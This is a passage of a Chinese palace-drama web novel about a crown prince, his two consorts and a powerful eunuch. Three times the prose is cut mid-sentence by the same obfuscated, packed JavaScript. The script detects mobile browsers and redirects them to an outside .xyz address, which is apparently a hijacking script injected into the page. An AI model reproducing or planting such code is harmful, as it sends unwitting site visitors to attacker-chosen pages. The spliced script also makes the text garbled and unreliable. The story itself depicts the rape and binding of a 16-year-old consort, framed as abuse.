“你走没多久,他就走了!不信你自己去问他!”
“……我不问他,我只问你。”燕谨之松开宁菘蓝的手腕,将双手放上她的脸颊,微微贴近,“我和他,谁更让你舒服?”
宁菘蓝一愣,没想到燕谨之会这样问,他就是甩她一巴掌都比问这种恶心问题要好。
看宁菘蓝不说话,燕谨之好像又误会了什么。他咬着唇,几般轻晃:“好,好…这样吧,毋虞,我把你留下是我的错,所以我不追究昨晚的事。我只要你记得,我才是你的夫君,你生生世世都是我的人,懂吗?”
说着,他微闭眼眸,想吻宁菘蓝的唇珠,却被宁菘蓝猛地扭头避开,只堪堪吻了下她的脸颊。
“你一直在自说自话。”宁菘蓝想提刀捅死这个满脑黄色的人。
而燕谨之仍将唇贴在宁菘蓝柔软的脸肉,听到她失望的语气也没反应,只是闭着眸抱着她。
看似是一叶障目,但这叶实则是他自己放在眼上的。
马儿嘶鸣,马车渐渐停下,车轮碾在宫道上,发出摩擦声,东宫到了。
“殿下……”
驾车的人斟酌着开口,生怕怒火烧到自己身上。
宁菘蓝又挣了挣:“到了,您还要抱下去吗?”
“何尝不可?”
燕谨之喃喃着,口齿有些不清晰。
“太子殿下,太子殿下!您接回姐姐了吗?”
车下突然响起一个小鸟般雀跃的声音,是沈嫚儿。她蹦跳着来接他们,丝毫不知车内燕谨之正在做着什么。
“……沈嫚儿来了!你还不放开?”
“沈嫚儿?你那么在意她干嘛……哦,你吃她醋吗?”
燕谨之恍然大悟。
他猛的坐起身,好像找到了什么令他兴奋不已的事情。他的脸因刚刚的摩擦而发红,眼中闪烁着诡异的光。
“碰——”
马车门被大力推开,站在车下的沈嫚儿吓得一怔,她懵懵懂懂的抬起头看向二人。
“太子殿下,姐姐。姐姐你怎么样?九千岁有没有欺负你?需要涂药吗?”
她围着他们转悠,一会儿关心关心这个,一会儿关心关心那个:“太子殿下您怎么一夜没回来,嫚儿等了好久。”
燕谨之闻言,先意味不明地看了一眼宁菘蓝,接着便冲沈嫚儿笑了一下:“等了我好久啊…寂寞了是吧?没关系,本太子这就宠幸你。”
最后三个字说得极重,似是强调又似是在耀武扬威。
说着,他一把拉过沈嫚儿,将沈嫚儿倒挂在肩上朝寝殿走,边走边大声喊:“嫚儿放心,本太子定满足你!”
贵为太子,竟白日宣淫,且当着众人的面这样说,不仅是在落他自己的面子,也是在落沈嫚儿的面子。
“燕谨之,现在是什么时辰!你别再发疯了!”宁菘蓝想上前去阻止燕谨之的发疯行为,却被他的心腹拦下。
眼看着燕谨之不顾肩上挣扎的沈嫚儿,愣是把人抱进了寝殿,宁菘蓝被几个侍卫牢牢把控,气得浑身发抖。
而寝殿内,沈嫚儿被猛地摔在床上,她揉着被顶得生疼的肚子,不停摇头乞求:“太子殿下,现在不可以,会有闲话的…嫚儿不想,太子殿下。”
“容得了你想不想吗?”
燕谨之色厉内荏,挑着浓眉怒斥,他用大掌用力把住沈嫚儿脖颈:“宁菘蓝忤逆我也就算了,你也敢?”
说着他手下用力,竟硬生将沈嫚儿的下颔卸了下来。望着痛得涕泗横流的沈嫚儿,他难得感受到了一种掌控感,这是在宁菘蓝身上从未感受过的。
身子起伏间,燕谨之抚了抚沈嫚儿濡湿的发:“嫚儿,我喜欢你乖乖听话的样子。”
过了好一会儿,寝殿内隐忍的喊叫声渐息。
燕谨之理着衣袖走出寝殿,看到宁菘蓝被心腹控制在一旁,笑了:“毋虞,你听到了吧?”
他用一根手指挑起宁菘蓝的下巴,狎昵般蹭了几下。被宁菘蓝扭头躲过却也不恼,只是弯下腰拍了拍她的头:“毋虞啊毋虞,你何时才能理解我的难处呢?”
明明眉目间仍透着满足,却要故作心痛悲哀之色,显得燕谨之此刻无比虚伪。他说完这话直起腰,理了理方才被沈嫚儿抓乱的衣领,自顾自带着人出了门。
宁菘蓝背后的双手被人扔下,长久的挟制使她双臂充血,一时无力立刻摔了下去。偌大的寝殿中,只剩下趴伏在地的宁菘蓝和屋内毫无声息的沈嫚儿。
不会出什么事吧?
宁菘蓝这样想着,想起身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950805|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
进屋去看看沈嫚儿,却被骤然出现在身后的宫女拦住:“侧妃娘娘请回。太子殿下说了,您昨日受惊,最好先回寝殿闭门修养几日。”
“闭门修养…燕谨之是要关我?”宁菘蓝有些不可置信。
宫女毕恭毕敬地低下头,身后的人却上前去直接拉住了宁菘蓝的臂膀:“太子殿下这是体恤您,并非关押,还望侧妃娘娘理解太子殿下的一片苦心。”
说完,她一扬头示意,身后二人将宁菘蓝押走,而那个宫女扭头朝房间走去,看样子是要去找沈嫚儿。
东宫堪称是大闹了一番。
与东宫所隔不远,一处庄严肃穆的宫殿内跪伏了一群人,俱是鹤发鸡皮,个个颤颤巍巍。
“堂下诸位皆是于国有功之人,余甚是尊敬。可各位也知晓,前些时日被抄斩的柳氏一族同样有功傍身,还不是被株了九族?”褚拭雪说到这顿了一下,环顾了一下四周才接着道,“今日唤各位前来不为别的,只为奉劝。当今圣上理政不看旧功,只看新绩,若是谁还抱着柳家那般心态,褚某奉劝,还是收收吧。”
此话一出,众人面面相觑,在领头那位的带领下,一个个连连应是,不敢抬头。
褚拭雪也不是什么爱恐吓老人的无耻小人,确认几人应该不敢再有别的心思,他也就顺势放过他们。
“嗯…既然如此,就没什么事了。今日圣上留余在宫中用膳,诸位谁愿一同吗?”本透着凌厉的语气柔和下来,他摇着扇子冲众人挑了下眉。
堂下人先是一愣,接着便各找各的借口想告辞。褚拭雪也不强迫他们,任由几人相互搀扶离去。
待殿内重又安静后,一抹明黄身影自帘后走出。
“小九,吓唬人的功夫见长啊。”皇帝呵呵笑着走至褚拭雪身旁,拍了拍他的肩。
褚拭雪立刻低头弯腰冲人一拱手,毕恭毕敬的说到:“全赖东厂锻炼得好,陛下培养得好。”
褚拭雪的动作处处透着生分与疏离,让皇帝不由得面色一僵。
“…好,你有本事、有气势,这便很好。”皇帝看着面前弯腰曲背的人,语气有些干涩。
褚拭雪搀扶着皇帝坐在上座,开始汇报自己近日来所做的事,只是说到羞辱太子那一段时,忽略了自己与宁菘蓝相处的细节。
“……老三啊,性子太燥。”皇帝先是叹了口气,接着又嘲讽般说,“你可知刚刚东宫发生了什么吗?”
褚拭雪愣了一下,思量着摇了摇头。
“他…白日宣淫,当着宫中众人和侧妃的面,强迫了太子妃,让他们听了一出活春宫!”
说着,皇帝的怒气重又上来,重重拍了一下桌案。
褚拭雪皱了皱眉,也没料想到燕谨之竟然疯到这种程度。
“堂堂太子,为何如此?”
皇帝嗤笑一声,叹了一口气:“大抵,是因你昨日留下他的太子侧妃那事。”
“因为生气吃醋,所以要当着宁家娘子的面,宠幸他人?”
褚拭雪为自己的猜测感到好笑,摇头想否定,却因皇帝点头的动作停下。
“正是。”
二人对视一眼,眸底晦暗。
5. 第 5 章
皇帝重又站起身,在堂上踱着步子。
“老五怎么样了,今日他都做了什么?”
褚拭雪拱了下手,回:“今日早晨五殿下采了晨露,又吃了玫瑰酥,接着便在玉清池看了一日的锦鲤,刚刚回宫。”
“……嗯。”皇帝沉吟一声,点点头,“罢了,去用膳吧。”
褚拭雪低眉顺眼,跟着皇帝离开了这方宫殿。
饭桌上酒过几巡,推杯换盏间天色渐暗。
各宫内外燃起荧荧烛火,太监宫女各个收敛眉眼,匆匆行走在宫道间,朱红色的宫墙已然被投上白月光影,四周寂静。
褚拭雪用帕子抿了抿嘴,起身告辞。
“今日天色已晚,不若就留宿在宫中陪朕说说话!”皇帝有些不满。
褚拭雪闻言先笑了一下,又故作夸张道:“陛下,这皇宫一入夜便寂静无比,实在是静得刺耳。可民间不然,此刻正值东坊夜市,来往人□□织如锦,臣还赶着去凑凑那热闹呢!”
皇帝“唉”一声,笑骂褚拭雪孩子心性,虽不舍,可还是把人给放了。
出了宫门,都蒙给褚拭雪递上披风:“主子,咱们回东厂继续审那柳良吉?”
褚拭雪瞥了一眼他,脚下不停,只是手里的扇子快速敲了下他的头:“我说了,我们去东坊夜市!”
“可是,您不也说了,那柳良吉随时可能死在狱中吗?”
“柳良吉的事情不急,我已经派竺七看着了,若是有人来救他或者杀他,不看身份立刻拿下。”褚拭雪顿了一下,接着道:“我方才和皇上说过我要去东坊,出门就改道,这不是欺君吗?”
“可是,可是您是……”
“嘶?”褚拭雪瞪了下都蒙,又收束扇子,作势要打他。
“都蒙啊都蒙,你若是再这般蠢笨,我下次便带竺七出门,不带你了。”
“啊?别啊大人,竺七那个冷瓶子,瘦长得像个鬼,浑身还冷飕飕的,哪有我甜心可人儿啊……”
马车快速驶去,与皇宫渐行渐远。
一日奔波后,各人皆有各人的去处,而宁菘蓝已被关在寝殿许久。
她手臂作枕,仰面躺在床榻上,望着明明暗暗的房梁发呆。
忽的,未关严的窗被一阵风吹开,断断续续的哭泣声也随之被送入房中。
细声细气又带着些微喘声的哀泣风格,一听就是沈嫚儿的。
还在哭?
真真是水做的,哭这么久,眼泪都哭不干…
宁菘蓝躺在床上听了一会儿,感觉到那声音越来越大。已至深夜,若是再哭下去把燕谨之召来,岂不又要受罪?
她忍无可忍,终于站起身想隔着窗户喊一声沈嫚儿,可当她将窗子推开,却发现白日里守在门外的奴婢们悉数不见,不知是躲懒睡去了,还是被调离了。
不过既然没人看管,她也就不白费力气喊,直接翻窗去看沈嫚儿便是。
二人的宫殿仅隔一道进门,走过短短的小径,跨进门便到了沈嫚儿的寝殿后方。透着窗户,看不到烛火的光亮。
宁菘蓝垫着脚尖,扒住窗檐向里望,暗暗腹诽。
这沈嫚儿很明显还未睡,怎么连盏灯都不点,里面看都看不见,让她怎么翻?
无法,宁菘蓝只好先悄声喊:“沈嫚儿?沈嫚儿……莫哭了!”
听到沈嫚儿的声音仍未减小,她谨慎地望了望周围,又喊:“别哭了,再哭又把燕谨之召来!我们住的那么近,你这城门失火殃及到我怎么办?”
这次她用的声音大,成功传入了沈嫚儿耳里。
沈嫚儿本还在抽泣,闻言立即停下来,像是抓到了什么救命稻草般,冲着窗户喊到:“姐姐,姐姐,你快来救救我!”
尚带着稚嫩的少女音隔着窗子传来,微微失质,却让宁菘蓝有些怔忪。
前世看他们斗久了,一个个勾心斗角,比活了几十年的都会算计,使宁菘蓝都忘了,沈嫚儿死时才21岁,如今也只是个只有16岁的少女。
16岁,刚刚及笄,在现代女孩们还只敢偷摸看言情小说的年纪,就已嫁了人,甚至被强迫。
宁菘蓝攥了下手指,轻轻将窗户推开,脚底踩着砖块翻了进去。
扑通——
基本从未翻过窗的她,果不其然狠狠摔到了地上,重重的响声吓得沈嫚儿一跳,连声问:“姐姐,姐姐你怎么了?你摔倒了吗?”
“……我怎么可能摔倒!就是落地重了点。”
宁菘蓝边挽尊边伸手揉了下摔到的手肘,伸手摸索着桌子,好不容易摸到烛台和放在旁边的火折子。
嗤——
火焰燃起,自火折子转移至蜡上,宁菘蓝手持明烛,借着光抬眼望向沈嫚儿,才发现此刻她正被五花大绑在床上,身上堪堪盖了件薄锦被,向下看去。
她细白的腿被冻得止不住抖,但可怕的是其上的颜色,淤青发紫,甚至有些更狰狞的物什。
“……这,这是…”
宁菘蓝被眼前画面惊得几番启唇,却一句话都说不出,好不容易憋出几个字,沙哑的嗓子却自己又没了音。
“姐姐…太子殿下的贴身宫女说,只有被你看到了以后,才能……”
沈嫚儿说着说着又带上哭音,哽咽了数次。
可这次宁菘蓝心中并无太多厌烦,更多的是对一个女孩的心疼。这是何等天大的委屈,别说哭一天,就是哭上三天三夜都不为过。
“为何非要让我看到…若是我一直不来呢?”宁菘蓝慢慢走过去,声音放得极轻。
沈嫚儿仰起脖子,艰难的摇了摇头:“不知道…”
走近了,掀开一点锦被向里看,莹白的身躯被粗糙的麻绳束缚,道道红痕凸显,有的地方绳子紧,已然深深陷入肉里了。
“……太子哥哥为什么要这么对我?”沈嫚儿看着宁菘蓝,眼眸里带着天真的疑问,“他说喜欢我,可是我很痛。”
宁菘蓝此刻仿佛在面对一个受了欺负的稚童,明知原因为何,可仍说不出口,只能干巴巴的旁敲侧击:“他的喜欢…很差劲,只会给你带来疼痛。即使这样,你还喜欢他吗?”
沈嫚儿愣了一会儿,面上透着为难,嗫嚅了两下才说:“我第一次看到太子哥哥,他便是和你在一起。那时的他很好,我看到他给你摘花,你们还一起送小鸟回窝,他给你当踏垫…我当时觉得你们很好,他喜欢你,你好像并不疼。”她咬了咬唇,声音越发飘渺,“我现在也被他喜欢了,可为什么我这么疼……”
她的话如一记重锤,狠狠敲击在宁菘蓝心上。
曾经,燕谨之和宁菘蓝也只是少年少女,情感中没有权势和身不由己,自然从心而行。可是后来他们都长大了,昔日真心掺杂了杂质便
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950806|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面目全非,沈嫚儿想在这时感受那份真心,已然是刻舟求剑。
宁菘蓝回答不了沈嫚儿的话。
她神色难看的站起身,左右找找水盆,逃出门外去帮沈嫚儿打水。
已入秋的时节,庭院里零星洒着落叶,萧瑟的风吹得周遭簌簌作响,打在人身上又惊起一片冰凉。
过了好一会儿,宁菘蓝僵硬着冰凉的手,端着一盆刚烧好的热水走进房间,却看到沈嫚儿已然进入了梦乡。想来是刚刚下半身太冷,被冻得睡不着觉,宁菘蓝帮她盖上后很快就疲惫的睡着了。
宁菘蓝叹口气,拿着帕子一点点帮沈嫚儿擦拭身下。
若是几天前有人告诉她,她会这样帮自己仇人擦身体,她定会笑那人失心疯了,可如今,面对如此惨状她实在无法袖手旁观。
就当这是场意外,过了今天,她依然不会放过他们。
烛芯被剪了一次又一次,蜡泪在烛台上渐渐堆积,夜已深了,连贵人脚边的守夜丫鬟都打起盹,此时,宁菘蓝才完成手头上的事。
她擦擦鬓角冒出的细汗,小心翼翼地推开窗翻了出去。直至走远时,她才又回头看一眼,凝望那扇已经被关严的窗子,心里又有了决定。
“金书,沈嫚儿的人生走向是固定的吗?”宁菘蓝闭着眼,在意识里戳了戳金书的封面。
金书先是整个颤了一下,接着翻开显像:
只要她与燕谨之在一起,就注定走上同生共死的结局,所走之路也如书中描写进行。
“……意思就是,如果她不和燕谨之在一起,她也许就不会做那些坏事了?”
“奉劝宁菘蓝小姐不要贸然改变剧情走向,一旦失败,极有可能进入循环。”
金书的警告冰冷且警醒,让宁菘蓝妄图招安的心思又灭了不少,无论如何,她需得先自保,才能考虑别的。
她本想着,前世沈嫚儿爱燕谨之爱得太过畸形,所以才予取予求,助纣为虐。如果这次沈嫚儿不那么偏执,也许她能将沈嫚儿策反,让她去做卧底里应外合……
可是一个恋爱脑,是那么容易策反的吗?
宁菘蓝摇摇头,将许多不切实际的想法摇出脑袋,对沈嫚儿有所动摇,但对太子的杀心倒是与日俱增了。
一夜过去。
清晨,皇宫奴婢皆已起床侍候主子,宁菘蓝昨日睡得晚还没醒来,可另一边,太子已经带着人去到了沈嫚儿的寝殿。
寂静的殿内,门骤然被大力推开,带起的破风声吓得还在睡梦中的沈嫚儿一个激灵,她猛然睁开眼,发现几道身影背着光站在门口,一副气势汹汹的模样。
燕谨之打量着好好窝在被里的沈嫚儿,扫了一圈身后的宫女,语气沉沉:“谁帮她清理的?”
宫女们一个个摇着头,神色慌张,相互对视想从同伴眼中找些什么,可彼此俱是惊慌的眼神又告诉她们,这里的每一个都不知道怎么回事。
燕谨之踱步走近,看到沈嫚儿瑟缩了一下的肩膀,他顿了下,勉强扬起一个温柔的笑:“嫚儿乖,告诉夫君,是谁帮你清理的?”
“……是,姐姐。”她低着头,环抱着自己的身子,明明很害怕,却又忍不住看了燕谨之一眼又一眼。
“哧,”燕谨之忍不住哼笑一声,他神色讽刺的重复了一遍沈嫚儿的回答,“你说是宁菘蓝,蹲在你腿边,帮你清理的?”
6. 第 6 章
燕谨之怀疑的意味太过明显,沈嫚儿即便是想再说什么,此刻也没话了。
“再过几日就是中秋宫宴了,嫚儿乖一点,好好休息,届时孤允许你和父母叙叙旧……”
燕谨之也不在意是谁帮了沈嫚儿,左右只要逃不出他的手掌心,他允许小鸟儿有些自己的自由。
床上的少女闻言先是一喜,可随即又明白了夫君话中的意思,乖一点才能见到人,倘若不乖呢?
燕谨之冲她宠溺一笑,随手抚了抚她的头,转身离开。寝殿大门重又被关上,哗啦啦一群人来了又走,留下一片寒凉,一夜才聚起的温暖消失殆尽。
没走几步路,便从沈嫚儿的宫殿来到另一处。
跟在身后的宫人本低着头准备进入,却因为领头者的骤然停下一个撞一个,他们惶然抬起头,看到太子殿下望着那扇牌匾呆立。站了好一会儿,燕谨之才说:“都留在这等,那么多人进主子的房间算什么?”
他甩了下袖子,将胳膊背在身后,深吸一口气才向宁菘蓝寝殿走去。
被留在原地的宫人面面相觑,想想方才的沈嫚儿,个个沉默无言。
站在门前,燕谨之轻咳一声,细细听着寝殿里的动静,等了好一会儿却什么都没听到。他心下了然宁菘蓝是还未醒来,便张开手掌轻轻推开了门。
门将将发出“吱呀”声,便被燕谨之眼疾手快地抵住,他将身子慢慢挤入那道缝隙,看到殿内只有阳光洒下的一点光亮,床边垂着帷幔,一节白皙皓腕自帷幔中伸出,无知无觉的垂在床侧。
“自小便爱赖床,如今已为人妇了也不见她改。”燕谨之唇角抿着笑,暗自腹诽。
他缓步走至床边,掀开一点帷幔便看到里面的人将脸埋在被子里,一张小脸被被子一盖几乎看不见什么,只有一点美人尖和乌黑的发丝露着。
绸缎般的黑发好好被理在头侧,燕谨之看着看着便忍不住伸手去碰了一下。头发没有知觉,燕谨之捻起一缕,以手作梳状一下下梳着,细软的发丝扑簌簌垂落,搔在燕谨之腿上,泛起一阵痒意。
“……太子殿下,很闲?”
宁菘蓝被扯得头皮发痛,没几下就醒了,睁开眼睛便看到燕谨之痴汉似的抱着自己头发发呆,她伸出手夺回凭空少了几根的那缕,出声问道。
燕谨之手里骤然一空,他抬头望去,看到宁菘蓝正神情冷漠质问着他。
“放心,我没那么闲来给你梳头发!”燕谨之皱起眉,突然觉得宁菘蓝还是永远睡着比较乖,“我来通知你,过几天中秋宫宴。”
宁菘蓝闻言歪了下头:“通知让宫女来不就得了,用得着太子殿下亲自前来吗?”
又打的什么主意?
燕谨之深吸一口气,咬着牙:“我是来通知嫚儿,顺便告诉你一声,免得你搞不清楚状况丢我人!”
“太子殿下放心,我很乖。”
“……少跟褚拭雪搅和到一起,才算你乖。”
宁菘蓝不说话了,她不欲和燕谨之在褚拭雪的事上纠缠太久,左右说不清楚。可没想到燕谨之看到她这一副沉默的样子,以为自己说到了她心坎上,怒气又蹭蹭往上涨,开始口不择言。
“宁毋虞,为什么我一说褚拭雪你就这个样子,你多喜欢他啊?他就睡了你一夜而已,你别忘了我才是你夫君。”
又开始了。
“不说话是什么意思?你很想和他搅和是不是?我今天来叮嘱你还叮嘱错了对吧?”
对,你说的都对行了吧。
“你什么表情?为什么不看我?现在连看我都不愿意看了,我让你陪褚拭雪喝酒吃饭怎么了,这只是正常的一顿饭,你自己爬上他的床背叛我,我说什么了,我甚至依然对你这么好。”
“我没……”宁菘蓝忍无可忍出声。
“别再狡辩了,我只允许你那一次。”燕谨之打断了她的话,皱着眉一副包容出轨妻子的深情丈夫模样。
他好像忍受了天大的委屈般道:“毋虞,我原谅你,只要你日后不再忤逆我,你就依然会是我最宠爱的娘子。”
燕谨之叹了口气,好像被自己的话感动到了,眼角甚至冒出几滴晶莹,他摇着头自顾自走出房间。
留下宁菘蓝双眼无神的望向天花板,她在思考,要不真就把出轨这事落实好了,省的自己天天被冤枉。
褚拭雪长得又好看身材又好,比燕谨之不知好了多少倍,虽然脑子差了点儿,但是勤能补拙。
“阿嚏——”
褚拭雪打了个惊天大喷嚏。
他看看手下被墨迹划出一道的文书,用手骨节抵了抵鼻子,思考是不是自己昨晚在夜市逗留过久风寒了。
他摇摇铃铛招来都蒙,问:“天气渐冷,是不是快要中秋宫宴了?”
都蒙一拱手,自怀中拿出一物什上前递给褚拭雪:“宫中刚刚遣人送来的,属下还未来得及交给您,您就问起了。”
那是中秋宫宴的请帖。
当今圣上很有仪式感,凡是宴会皆会让宫人制好精美的请帖送至各家。其他的都是宫人所写,唯褚拭雪这一份,是他亲手所写,帖上除了邀约,还有询问,问褚拭雪还有何想要的,宴会上单独为他安排。
“圣上待您,是真的挺好。”都蒙感慨道。
褚拭雪瞥了他一眼,将请帖随手扔至一旁:“补偿而已。”
他揉掉刚写了一半的文书,又抽出一张纸,边写边问:“柳良吉那边,如何了?”
“回主子,我们暂时还没审出什么。但是近来东厂周围多了一些生面孔,行迹鬼祟像是在摸位置,大概再过不久就会行动。”
“……再过不久啊,”褚拭雪沉吟一声,“我等不了太久。都蒙,你让人帮帮他们,什么巡逻时间啊、东厂布局啊,规律些,让人好找些。”
都蒙闻言轻笑一声,嗯嗯两声,没忍住说:“主子,您真坏。”
“……我坏?我还有更坏的,你去领罚感受一下?”褚拭雪瞥了他一眼,语气不明。
都蒙赶紧摇摇头,扭身就跑,褚拭雪看着他匆忙的背影也没阻止,任由他逃跑。
日子又过几天,秋意更浓时节,中秋宫宴如期而至。
前夜。
褚拭雪和皇帝商讨完事情,闲庭若步的走在御花园,看到已经为明日宫宴准备好的美景,他讽然一笑。
没走几步,一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950807|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
窝在花盆边的身影吸引了他的注意。
玄色镶边缎面圆领袍穿在那人身上,本是漂亮挺拔的一身,却被那人穿的有些瑟缩,失了气势。
可褚拭雪看到非但没有嘲笑,反而轻声喊了一句:“五皇子……?”
那人闻言回过头,面上带着一派天真,看到褚拭雪在他身后站着,扬起一个八颗牙齿的标准笑容:“白白,白白,你来啦!小五好想你!”
“臣也想您。”褚拭雪难得带着点温柔,轻声细语的说。
他蹲低身体,手上捻起一株落在盆边的花,从五皇子身侧伸手,将花重新插入盆内。
二人靠近时,他轻声说了句:“兄长,您还好吗?”
“既白,不要太挂念我,少在内廷走动。”五皇子仍抱着身子歪在一边,只不动声色的看了眼褚拭雪,没任何动作。
褚拭雪几不可见的点点头,重又站起身,说:“五皇子,臣下次给您带酥糖,先走一步!”
说完,他恭敬的笑了一下,手却不老实的碰了下五皇子的头,转身离开。
蹲在那的五皇子身体一顿,默默看了眼摸自己头的弟弟,心下无奈。
虽然面上已经是个大人了,行为却还幼稚得很。
“五皇子殿下,五皇子殿下——”
远处传来宫人叫喊,五皇子伸出只手招了招,便又自顾自蹲在那揪花玩。
宫人们匆匆赶来,看到五皇子刚换的衣服上又是一片土渍,无奈说:“殿下,您玩什么不好,干嘛非玩土啊!您看看又脏了!”
五皇子扬起手中的花,讷讷道:“花…小花。”
“什么花,脏死了!”宫女嫌弃道,伸手将五皇子手中的花夺过,一把扔到了地上便扯着五皇子离开。
五皇子挣脱不开,便只好啊啊叫着,不断向后扭头,死死盯着那株花,直到最后再也看不见。
御花园重归宁静,除却鸟虫叫声再无他物。
过了一会儿,一抹身影才从树后走出。
褚拭雪慢慢走到那株花旁边,俯身捡起。望着已然变得软趴趴的花茎和卷曲的花瓣,想想这是那宫女从兄长手中夺走又扔到地上的,他手不自觉攥紧,却仍记挂着控制力道没伤到花半分。
濒临凋零的花被褚拭雪重又放回盆内,和那株他刚刚埋进去的放在一起,尽管两株的情况都不太好,但那株先被植入进去的,仍顽强撑着另一株,好像在用自己的身体,撑起它。
褚拭雪站起身,离开了御花园。
蒙蒙夜色下,御花园群芳争艳,无人注意到角落里还有两株濒死的在顽强挣扎。
第二日,收到邀请的百官及其家眷都早早起身做准备,即使宫宴是在晚上,他们也需得早日动身,带上贺礼等物前去等候。
宁菘蓝也早早被叫起,惺忪着睡眼任由贴身婢女帮自己缠发髻、穿锦衣,耐心梳妆打扮。
褚拭雪则是早早去马场遛了一圈马,又去东厂审了会犯人,直到用过午膳,他才去擦洗身体准备赴宴。
一个登上马车,一个翻身上马,马蹄飞踏,车轮滚碾,自两个方向同时向一处赶往,如两条平行线同时转折方向,自此产生交集。
7. 第 7 章
中秋当日,安静庄严的皇宫热闹非凡。
无论是宫道、御花园还是各处大殿都被装点得焕然一新,各色名贵花卉竞相争艳,多得是万千好颜色。
来往宫人不断在泰和宫进出,此处殿内已围圈放置好桌凳,其上首先放着些精美的糕点酒水,待宴会正式开始,其他菜肴才会依次上齐。
天色渐渐暗下,百官及其家眷纷纷缓步走入,彼此招呼后便找到座位先后坐了下来。宁菘蓝还跟着太子他们在做准备,待百官入席后,太子再携太子妃们入内。
“恭迎太子殿下!”
时间差不多到了,几人走至泰和宫,太子在前,沈嫚儿在侧,宁菘蓝则稍落后于二人,迎着众人视线走进去。
此次算是他们大婚后第一次在百官面前露面,三人的关系错综复杂,八卦早已飞满整个京城,此刻一进入殿内,果不其然引起众人关注。
他们不敢直视太子,便隐晦的看向沈嫚儿和宁菘蓝二人。只是一个两个看倒还不显什么,殿内几乎人人看来,便是再隐晦的目光都会刺得人浑身难受。
沈嫚儿到底有些怯场,她悄悄攥紧手指,无意识咬起了唇,脚下步子也逐渐慢下来,变得与宁菘蓝齐平。这边太子还在扬着温润的笑与众人打招呼,丝毫没注意到自己的两位太子妃已经离自己越来越远了。
他走至座位,看看左右,发现左手边座位离自己较近,而右手边的虽然也不太远,但旁边便是褚拭雪的位置。
不能让宁菘蓝坐在右侧。
这样想着,燕谨之抬头看向姗姗来迟的两个人,说:“嫚儿坐右侧,毋虞坐我左侧。”
闻言沈嫚儿先愣一下,看了两眼燕谨之便垂下头,准备向右侧座位走,可刚抬起步子便被宁菘蓝伸手拉住。
宁菘蓝将她向左侧推,说:“左为尊,没有正妃坐右,而侧妃坐左的道理。”
将沈嫚儿推到左边位置,宁菘蓝便自顾自朝右走,却被燕谨之出言止住。
“我说你坐哪侧,你便必须坐哪侧!尊不尊的本太子说了算。”
燕谨之瞪着人,一副凶神恶煞的样子,宁菘蓝却也不怯,索性就站在那,看看燕谨之究竟又犯什么病。
二人对峙间,大殿内又进来一人。
其人握着手中折扇,身穿一件玄底白鹤绣样云纹锦袍,他随意挥着手回应众人行礼,散步般走至二人身边,歪头看着宁菘蓝,含笑问:“呀,宁娘子这是预备做一个端茶递水的宫女,才久久立于此不动吗?”
“……褚拭雪,你说什么呢?”
宁菘蓝还没什么反应,燕谨之倒是急得先跳了脚。
他看到褚拭雪和宁菘蓝搭话便气愤,此刻明明自己就在这里,褚拭雪却还和没看到似的不知收敛,他简直恨不得这人当场暴毙于此。
宁菘蓝瞥了眼气急败坏的燕谨之,选择先看向褚拭雪,回道:“马上就坐下,这不是正好看到您来了,等一等您吗?”
她笑得眉眼弯弯,唇角勾出一个漂亮的弧度,嘴里说的话也哄得人甚是舒心,褚拭雪虽然一个字也没信,但不妨碍他的心情变好。
“哦……”褚拭雪一脸正色点了点头,又道,“那褚某谢谢您等我,请?”
他一扬手,宁菘蓝便提了提衣裙顺势走过去,二人一前一后落座,位置也靠得较近,外人看来,竟颇有几分郎才女貌、金童玉女之色。
“……宁菘蓝,你把我当什么?”
燕谨之看着二人旁若无人地寒暄两句,紧接着便一起入座,好像有什么天定的默契般,同时忽视了自己,忍不住咬牙切齿的质问宁菘蓝。
宁菘蓝心里无奈叹了口气,和燕谨之相处需要有十年幼师经验,不然分分钟被他无理由的生气闹到筋疲力尽。
也许是看宁菘蓝面露疲色,褚拭雪语气中带着兴味接了燕谨之的话:“太子殿下,今日这么好的景色,怎么还这么怒气冲冲?开心点儿,嗯?”
燕谨之懒得理这个浪荡子,每天蛊惑父皇不说,现在还和自己的太子妃纠缠不清,若不是他太得圣眷,自己何至于受一个宦官挟制。
而在褚拭雪视角里,只见燕谨之听到他的话也不言语,警告般瞪了一眼宁菘蓝后,便将身子转回。
他耸耸肩,也不觉尴尬,又转过身和其他官员交谈起来。
宁菘蓝便看着这个花蝴蝶到处交际,好像整个殿内都是他的朋友。
“皇上驾到!”
门外太监拖长音的通传声传来,众人纷纷起立一起行礼,皇帝身着龙袍,携着皇后缓步走上座,笑着点点头:“众爱卿都平身吧,今日大家的任务便是吃好喝好,一同庆祝这中秋佳节!”
“谢陛下。”
